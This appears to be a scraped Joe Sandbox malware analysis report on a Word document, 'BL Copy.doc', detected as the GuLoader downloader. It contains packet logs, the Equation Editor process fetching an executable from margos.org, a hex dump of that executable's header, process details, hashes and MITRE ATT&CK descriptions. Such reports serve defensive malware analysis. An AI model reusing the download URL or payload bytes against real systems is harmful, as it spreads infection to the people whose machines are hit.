Jan 24, 2022 13:11:08.138813019 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138840914 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138869047 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138876915 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138884068 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138927937 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138943911 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138972044 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.139008045 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.139029980 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.172384977 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.320950985 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.320975065 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321069002 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321638107 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321657896 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321676016 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321691036 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321692944 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321705103 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321712017 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321722984 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321729898 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321754932 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321774006 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321782112 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321822882 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321822882 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321841955 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321872950 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321877003 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321887016 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321894884 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.321916103 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.321933985 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.322629929 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.502902031 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.503001928 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.503209114 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.503242970 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.503763914 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.503830910 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.503864050 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.503890991 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.503938913 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.503952026 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504013062 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504055977 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504075050 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504120111 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504137993 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504200935 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504219055 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504259109 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504264116 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504300117 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504336119 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504359961 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504422903 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504427910 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504489899 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504508018 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504550934 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504595041 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504616022 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.504657984 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504684925 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.504966021 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505027056 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505059004 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505079985 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505109072 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505130053 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505183935 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505187035 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505208015 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505244970 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505264997 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505299091 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505327940 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505354881 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.505453110 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505507946 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.505887985 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.685264111 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.685323000 CET	80	49165	131.153.37.3	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2022 13:11:07.535217047 CET	52167	53	192.168.2.22	8.8.8.8
Jan 24, 2022 13:11:07.721467018 CET	53	52167	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 24, 2022 13:11:07.535217047 CET	192.168.2.22	8.8.8.8	0x6831	Standard query (0)	margos.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 24, 2022 13:11:07.721467018 CET	8.8.8.8	192.168.2.22	0x6831	No error (0)	margos.org		131.153.37.3	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

margos.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	131.153.37.3	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 24, 2022 13:11:07.938873053 CET	0	OUT	GET /dda/SYNT.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: margos.org Connection: Keep-Alive
Jan 24, 2022 13:11:08.138510942 CET	2	IN	HTTP/1.1 200 OK Date: Mon, 24 Jan 2022 12:11:08 GMT Server: Apache Last-Modified: Sun, 23 Jan 2022 21:05:28 GMT Accept-Ranges: bytes Content-Length: 95264 Keep-Alive: timeout=5, max=200 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 55 80 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 5f 01 00 80 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d 08 4f 43 00 89 48 04 50 ff 75 10 ff 75 0c ff 75 08 ff 15 84 82 40 00 e9 42 01 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELZOaj-5@U@(_.texthj `.rdatan@@.data@.ndata``.rsrc(@@U\}t+}FEuHOCHPuuu@B

Start time:	13:10:18
Start date:	24/01/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fd20000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXEPID: 2684, Parent PID: 596

General

Start time:	13:10:20
Start date:	24/01/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: Puportd92.exePID: 2960, Parent PID: 2684

General

Start time:	13:10:22
Start date:	24/01/2022
Path:	C:\Users\user\AppData\Roaming\Puportd92.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Puportd92.exe
Imagebase:	0x400000
File size:	95264 bytes
MD5 hash:	37FC2AA213D1607545A9B876F4AA543E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.745732792.0000000003790000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BL Copy.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Exploits

System Summary

Jbx Signature Overview

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{573B2821-EBC2-4E0A-8D46-4D648AF74F39}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D4F37F31-6975-4B52-BDB7-988DCA18729A}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF251CD5-FF6C-451C-B429-835255A63BB9}.tmp

C:\Users\user\AppData\Local\Temp\Stenkastenes.dat

C:\Users\user\AppData\Local\Temp\gamer.txt

C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BL Copy.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\Puportd92.exe

C:\Users\user\Desktop\~$L Copy.doc

Static File Info

General

File Icon

Windows Analysis Report
BL Copy.doc